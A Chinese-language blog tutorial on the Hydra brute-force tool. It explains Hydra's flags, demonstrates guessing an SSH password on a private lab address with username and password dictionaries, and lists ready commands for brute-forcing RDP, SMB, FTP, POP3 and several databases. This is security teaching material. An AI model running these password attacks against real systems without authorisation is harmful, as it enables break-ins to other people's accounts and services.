网络安全入门到精通

喜欢ヅ旅行 2023-10-13 20:44 13阅读 0赞

> 「作者简介」：CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者  
> 「推荐专栏」：对网络安全感兴趣的小伙伴可以关注专栏[《网络安全入门到精通》][Link 1]

![在这里插入图片描述][28af8c452f8d454686d83e9fccfe5d58.png]

#### [Hydra][]使用教程 ####

*  一、简单使用
 *  二、爆破SSH
 *  三、使用字典爆破
 *  四、Hydra爆破常见服务

Hydra也叫九头蛇，是一款开源的暴力PJ工具，集成在kali当中。

参数：

*  \-l 指定用户名
 *  \-p 指定密码
 *  \-L 指定用户名字典
 *  \-P 指定密码字典
 *  \-C 指定所用格式为“user:password”的字典文件
 *  \-e
    
     *  n null，表示尝试空密码
     *  s same，把用户名本身当做密码进行尝试
     *  r 反向，把用户名倒叙，当做密码进行尝试。
 *  \-vV 显示执行细节
 *  \-o 保存执行结果
 *  \-s 指定非默认端口
 *  \-M 指定破解的目标文件，如果不是默认端口，后面跟上“:port”
 *  \-t 指定爆破时的任务数量（默认16）

## 一、简单使用 ##

1）在kali中打开终端，直接输入`hydra`，可以看到hydra的版本、参数、以及可以爆破的协议。

![在这里插入图片描述][0642b5a71ca64a0597b2619d8584863f.png]

从图中圈起来的地方可以看到，hydra可以爆破 http、ftp、mysql等多种协议。

## 二、爆破SSH ##

我们拿爆破[SSH协议][SSH]来举个栗子。

用 `-l` 参数指定用户名，`-p`参数指定密码，后面直接跟目标的IP地址和协议。

hydra -l root -p 12345678 192.168.31.173 ssh
    
       
       
        
       
       
        
         1

成功的话，会把账号和密码高亮显示出来。

![在这里插入图片描述][7b9e4ad4cc8f447baea244991574d4b9.png]

也可以使用另外一种格式：

hydra -l root -p 12345678 ssh://192.168.31.173
    
       
       
        
       
       
        
         1

执行的结果都是一样的。

![在这里插入图片描述][b605ce6be38c45be91fb768ae6175cb1.png]

这里主要简单介绍一下用法，我知道我的SSH密码，所以就直接指定密码了。

但很多时候，我们是不知道密码的，所以就要使用密码字典来爆破。

## 三、使用字典爆破 ##

小写的 `-p` 是指定密码，大写的 `-P`是指定字典文件。

hydra -l root -P 密码字典 192.168.31.173 ssh
    
       
       
        
       
       
        
         1

1）我们先准备一个简单的密码字典，创建一个 `pwd.txt` 文件，在里面输入几个简单的密码：

![在这里插入图片描述][40802f8a42214699bc519129f96473be.png]

2）然后指定这个密码字典：

hydra -l root -P pwd.txt 192.168.31.173 ssh
    
       
       
        
       
       
        
         1

可以看到爆破成功了，但只给了一个结果：

![在这里插入图片描述][8558b61bf89f40389f95f60715cb8a1a.png]

3）如果想看爆破的过程，可以加上 `-vV`参数，显示执行细节：

hydra -l root -P pwd.txt 192.168.31.173 ssh -vV
    
       
       
        
       
       
        
         1

我们的密码字典中有三个密码，它也会执行三次，并把执行过程列了出来。

![在这里插入图片描述][16e218377a3f43fb9157203c985df64d.png]

4）上面的密码字典使用的是相对路径，我们也可以把它换成绝对路径：

hydra -l root -P /root/pwd.txt 192.168.31.173 ssh
    
       
       
        
       
       
        
         1

![在这里插入图片描述][3e0a5d7b48874d96af4e83c85a49bf99.png]

SSH协议的默认用户是 root，所以上面我们都是指定的用户名，如果不确定用户名，就要指定用户名字典，比如下面这种格式：

hydra -L /root/usr.txt -P /root/pwd.txt 192.168.31.173 ssh
    
       
       
        
       
       
        
         1

爆破其他协议服务时，把协议名和默认用户名换一下就可以了。

协议对应的服务名和默认密码经常会忘记，下面整理了一些常见的服务爆破格式。

## 四、Hydra爆破常见服务 ##

远程桌面（RDP）

hydra -l administrator -P 密码字典 192.168.31.173 rdp
    
       
       
        
       
       
        
         1

共享文件（SMB）

hydra -l administrator -P 密码字典 192.168.31.173 smb
    
       
       
        
       
       
        
         1

文件传输（FTP）

hydra -l 用户名 -P 密码字典 192.168.31.173 ftp	
    
       
       
        
       
       
        
         1

邮箱协议（POP3）

hydra -l 用户名 -P 密码字典 192.168.31.173 pop3
    
       
       
        
       
       
        
         1

MSSQL数据库

hydra -l sa -P 密码字典 192.168.31.173 mssql
    
       
       
        
       
       
        
         1

MySQL数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 mysql
    
       
       
        
       
       
        
         1

Oracle数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 oracle
    
       
       
        
       
       
        
         1

Redis数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 redis
    
       
       
        
       
       
        
         1

PgSQL数据库

hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql
    
       
       
        
       
       
        
         1

[Link 1]: https://blog.csdn.net/wangyuxiang946/category_12221621.html
[28af8c452f8d454686d83e9fccfe5d58.png]: https://img-blog.csdnimg.cn/28af8c452f8d454686d83e9fccfe5d58.png
[Hydra]: https://so.csdn.net/so/search?q=Hydra&spm=1001.2101.3001.7020
[0642b5a71ca64a0597b2619d8584863f.png]: https://img-blog.csdnimg.cn/0642b5a71ca64a0597b2619d8584863f.png
[SSH]: https://so.csdn.net/so/search?q=SSH%E5%8D%8F%E8%AE%AE&spm=1001.2101.3001.7020
[7b9e4ad4cc8f447baea244991574d4b9.png]: https://img-blog.csdnimg.cn/7b9e4ad4cc8f447baea244991574d4b9.png
[b605ce6be38c45be91fb768ae6175cb1.png]: https://img-blog.csdnimg.cn/b605ce6be38c45be91fb768ae6175cb1.png
[40802f8a42214699bc519129f96473be.png]: https://img-blog.csdnimg.cn/40802f8a42214699bc519129f96473be.png
[8558b61bf89f40389f95f60715cb8a1a.png]: https://img-blog.csdnimg.cn/8558b61bf89f40389f95f60715cb8a1a.png
[16e218377a3f43fb9157203c985df64d.png]: https://img-blog.csdnimg.cn/16e218377a3f43fb9157203c985df64d.png
[3e0a5d7b48874d96af4e83c85a49bf99.png]: https://img-blog.csdnimg.cn/3e0a5d7b48874d96af4e83c85a49bf99.png